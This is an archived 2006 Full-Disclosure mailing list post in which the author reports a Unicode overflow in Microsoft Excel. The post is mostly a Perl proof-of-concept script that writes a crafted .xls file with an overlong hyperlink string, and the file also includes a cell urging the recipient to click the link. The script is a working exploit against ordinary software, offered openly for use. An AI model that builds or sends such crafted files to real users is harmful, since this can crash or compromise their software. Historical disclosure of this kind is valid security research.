full-disclosure - ***ULTRALAME*** Microsoft Excel Unicode Overflow ***ULTRALAME***

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Message-ID: <42B48933.7080406@gmx.net>
Date: Mon Jun 19 01:52:22 2006
From: kingcope at gmx.net (kcope)
Subject: ***ULTRALAME*** Microsoft Excel Unicode Overflow
	***ULTRALAME***

Microsoft Excel Unicode Overflow

Hello this is kcope,
I found a unicode overflow in excel.
It works in my version of excel, perhaps it is patched or something, I have
SP3. I know this is ultralame. Attached are some screenies.
Here are the warezcodez:

###############################
# excelsexywarez.pl
# excel unicode overflow poc
# by kcope in 2006
# thanks to revoguard and alex
###############################
use Spreadsheet::WriteExcel;

    my $workbook = Spreadsheet::WriteExcel->new("FUCK.xls");

    $worksheet = $workbook->add_worksheet();

    $format = $workbook->add_format();
    $format->set_bold();
    $format->set_color('red');
    $format->set_align('center');

    $col = $row = 5;
    $worksheet->write($row, $col, "kcope in da house! Click on the 
link!!!", $format);

    $a="AAAAAAAAAAAAAAAAAAAAAA\\" x 500;
    $worksheet->write_url(0, 0, "$a", "LINK");

    
- - kcdarookie

-------------- next part --------------
A non-text attachment was scrubbed...
Name: keepinitwicked.JPG
Type: image/jpeg
Size: 198538 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20060618/137cdbc5/keepinitwicked.jpe
-------------- next part --------------
A non-text attachment was scrubbed...
Name: xver.JPG
Type: image/jpeg
Size: 46396 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20060618/137cdbc5/xver.jpe